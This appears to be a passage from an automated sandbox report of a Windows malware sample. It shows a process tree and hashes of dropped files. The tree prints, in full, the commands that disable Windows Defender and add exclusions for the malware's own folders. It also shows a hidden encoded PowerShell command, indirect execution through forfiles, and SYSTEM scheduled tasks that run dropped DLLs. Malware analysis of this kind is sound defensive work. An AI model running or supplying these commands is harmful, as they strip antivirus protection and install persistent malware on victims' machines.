                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3104
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                      3⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4052
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4904
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NeZWLpfMAhqU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NeZWLpfMAhqU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eOISJpbOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eOISJpbOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\khqZzjjJsExFC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\khqZzjjJsExFC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wHBDKkBCrjUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wHBDKkBCrjUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\vNwAEuYqEraFXGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\vNwAEuYqEraFXGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\jbJDvxQypZFbaJytP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\jbJDvxQypZFbaJytP\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dvCPKpbdOyEnPlbQ\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dvCPKpbdOyEnPlbQ\" /t REG_DWORD /d 0 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • System Location Discovery: System Language Discovery
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3528
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR" /t REG_DWORD /d 0 /reg:32
                                                        3⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3916
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR" /t REG_DWORD /d 0 /reg:32
                                                          4⤵
                                                            PID:3220
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR" /t REG_DWORD /d 0 /reg:64
                                                          3⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:1268
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NeZWLpfMAhqU2" /t REG_DWORD /d 0 /reg:32
                                                          3⤵
                                                            PID:3040
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NeZWLpfMAhqU2" /t REG_DWORD /d 0 /reg:64
                                                            3⤵
                                                              PID:812
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eOISJpbOU" /t REG_DWORD /d 0 /reg:32
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:2820
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eOISJpbOU" /t REG_DWORD /d 0 /reg:64
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:884
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\khqZzjjJsExFC" /t REG_DWORD /d 0 /reg:32
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3956
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\khqZzjjJsExFC" /t REG_DWORD /d 0 /reg:64
                                                              3⤵
                                                              • System Location Discovery: System Language Discovery
                                                              PID:4268
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wHBDKkBCrjUn" /t REG_DWORD /d 0 /reg:32
                                                              3⤵
                                                                PID:3524
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wHBDKkBCrjUn" /t REG_DWORD /d 0 /reg:64
                                                                3⤵
                                                                  PID:1876
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\vNwAEuYqEraFXGVB /t REG_DWORD /d 0 /reg:32
                                                                  3⤵
                                                                    PID:2408
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\vNwAEuYqEraFXGVB /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4216
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2852
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:1480
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\jbJDvxQypZFbaJytP /t REG_DWORD /d 0 /reg:32
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:2976
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\jbJDvxQypZFbaJytP /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:2264
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dvCPKpbdOyEnPlbQ /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:4220
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dvCPKpbdOyEnPlbQ /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:3388
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /CREATE /TN "gGyionljG" /SC once /ST 21:17:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                        2⤵
                                                                        • Scheduled Task/Job: Scheduled Task
                                                                        PID:2300
                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                        schtasks /run /I /tn "gGyionljG"
                                                                        2⤵
                                                                          PID:2008
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /DELETE /F /TN "gGyionljG"
                                                                          2⤵
                                                                            PID:3828
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /CREATE /TN "NYjUQBelwXgYOLeVD" /SC once /ST 10:34:27 /RU "SYSTEM" /TR "\"C:\Windows\Temp\dvCPKpbdOyEnPlbQ\PNhwvUTleCiNlqU\lDPiLNb.exe\" w5 /lmMUdidKk 525403 /S" /V1 /F
                                                                            2⤵
                                                                            • Drops file in Windows directory
                                                                            • Scheduled Task/Job: Scheduled Task
                                                                            PID:4508
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks /run /I /tn "NYjUQBelwXgYOLeVD"
                                                                            2⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:5004
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 692
                                                                            2⤵
                                                                            • Program crash
                                                                            PID:3012
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                          1⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2812
                                                                          • C:\Windows\system32\gpupdate.exe
                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                            2⤵
                                                                              PID:4860
                                                                          • \??\c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                            1⤵
                                                                              PID:1416
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                              1⤵
                                                                                PID:3876
                                                                              • \??\c:\windows\system32\gpscript.exe
                                                                                gpscript.exe /RefreshSystemParam
                                                                                1⤵
                                                                                  PID:2692
                                                                                • C:\Windows\Temp\dvCPKpbdOyEnPlbQ\PNhwvUTleCiNlqU\lDPiLNb.exe
                                                                                  C:\Windows\Temp\dvCPKpbdOyEnPlbQ\PNhwvUTleCiNlqU\lDPiLNb.exe w5 /lmMUdidKk 525403 /S
                                                                                  1⤵
                                                                                  • Checks computer location settings
                                                                                  • Executes dropped EXE
                                                                                  • Drops Chrome extension
                                                                                  • Drops file in System32 directory
                                                                                  • Drops file in Program Files directory
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:1428
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                    2⤵
                                                                                      PID:2428
                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                        3⤵
                                                                                        • Indirect Command Execution
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1784
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                          4⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:4836
                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                            5⤵
                                                                                              PID:4956
                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                          3⤵
                                                                                          • Indirect Command Execution
                                                                                          PID:4992
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                            4⤵
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:3984
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                              5⤵
                                                                                                PID:428
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                            3⤵
                                                                                            • Indirect Command Execution
                                                                                            • System Location Discovery: System Language Discovery
                                                                                            PID:308
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                              4⤵
                                                                                                PID:2112
                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                  5⤵
                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                  PID:3140
                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                              3⤵
                                                                                              • Indirect Command Execution
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:4824
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                4⤵
                                                                                                  PID:4528
                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                    5⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:2696
                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                3⤵
                                                                                                • Indirect Command Execution
                                                                                                PID:588
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                  4⤵
                                                                                                    PID:3972
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                      5⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Drops file in System32 directory
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:4200
                                                                                                      • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                        "C:\Windows\system32\gpupdate.exe" /force
                                                                                                        6⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3340
                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                schtasks /DELETE /F /TN "bbihiUuOAZYUglmJTV"
                                                                                                2⤵
                                                                                                  PID:4308
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                  2⤵
                                                                                                    PID:2300
                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                      3⤵
                                                                                                      • Indirect Command Execution
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:3540
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                        4⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3164
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                          5⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Drops file in System32 directory
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:2240
                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                            6⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3628
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\eOISJpbOU\JuwtTM.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "mMdToihWYvazTfc" /V1 /F
                                                                                                    2⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                    PID:2320
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "mMdToihWYvazTfc2" /F /xml "C:\Program Files (x86)\eOISJpbOU\LFthojg.xml" /RU "SYSTEM"
                                                                                                    2⤵
                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                    PID:2920
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /END /TN "mMdToihWYvazTfc"
                                                                                                    2⤵
                                                                                                      PID:3900
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /DELETE /F /TN "mMdToihWYvazTfc"
                                                                                                      2⤵
                                                                                                        PID:5072
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "MOVjujUTKKpizM" /F /xml "C:\Program Files (x86)\NeZWLpfMAhqU2\rWInWKA.xml" /RU "SYSTEM"
                                                                                                        2⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:1780
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "KoccOURVwTvfh2" /F /xml "C:\ProgramData\vNwAEuYqEraFXGVB\SdQAaQt.xml" /RU "SYSTEM"
                                                                                                        2⤵
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:4892
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "aOeZmOrVSqitQmAUa2" /F /xml "C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR\yGcKCpj.xml" /RU "SYSTEM"
                                                                                                        2⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:4380
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "JnRatFBDjiCGOcAtIXG2" /F /xml "C:\Program Files (x86)\khqZzjjJsExFC\pwPjQXq.xml" /RU "SYSTEM"
                                                                                                        2⤵
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:4044
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "EfjSyKVAObOKvfete" /SC once /ST 21:50:30 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\dvCPKpbdOyEnPlbQ\iCjIsQph\QjttrdG.dll\",#1 /sPVZdidd 525403" /V1 /F
                                                                                                        2⤵
                                                                                                        • Drops file in Windows directory
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:816
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "EfjSyKVAObOKvfete"
                                                                                                        2⤵
                                                                                                          PID:2240
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /DELETE /F /TN "NYjUQBelwXgYOLeVD"
                                                                                                          2⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:4404
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 1956
                                                                                                          2⤵
                                                                                                          • Program crash
                                                                                                          PID:3984
                                                                                                      • \??\c:\windows\system32\rundll32.EXE
                                                                                                        c:\windows\system32\rundll32.EXE "C:\Windows\Temp\dvCPKpbdOyEnPlbQ\iCjIsQph\QjttrdG.dll",#1 /sPVZdidd 525403
                                                                                                        1⤵
                                                                                                          PID:2840
                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                            c:\windows\system32\rundll32.EXE "C:\Windows\Temp\dvCPKpbdOyEnPlbQ\iCjIsQph\QjttrdG.dll",#1 /sPVZdidd 525403
                                                                                                            2⤵
                                                                                                            • Blocklisted process makes network request
                                                                                                            • Checks BIOS information in registry
                                                                                                            • Loads dropped DLL
                                                                                                            • Drops file in System32 directory
                                                                                                            • Enumerates system info in registry
                                                                                                            • Modifies data under HKEY_USERS
                                                                                                            PID:1420
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "EfjSyKVAObOKvfete"
                                                                                                              3⤵
                                                                                                                PID:3276

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                            Filesize

                                                                                                            129B

                                                                                                            MD5

                                                                                                            a526b9e7c716b3489d8cc062fbce4005

                                                                                                            SHA1

                                                                                                            2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                            SHA256

                                                                                                            e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                            SHA512

                                                                                                            d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                          • C:\Program Files (x86)\EiOFWbnFxWLNFdZXKhR\yGcKCpj.xml

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            2b570459398a64850f404aebf8808d13

                                                                                                            SHA1

                                                                                                            38bef65f21f911cf5281fe40a435824a261f0142

                                                                                                            SHA256

                                                                                                            770627266bc8a67ac3bd038c4ee9382a7e6a2e4cab360d4699fa6cf7941200ad

                                                                                                            SHA512

                                                                                                            91fa8181ed209d9939a57a22f8eda8f51e729ee704ba61257bde7588b93166df57c627f0f8ffbecc509a94e70e057245781bfd6b44ecbefd91738e7bce2d6a8b

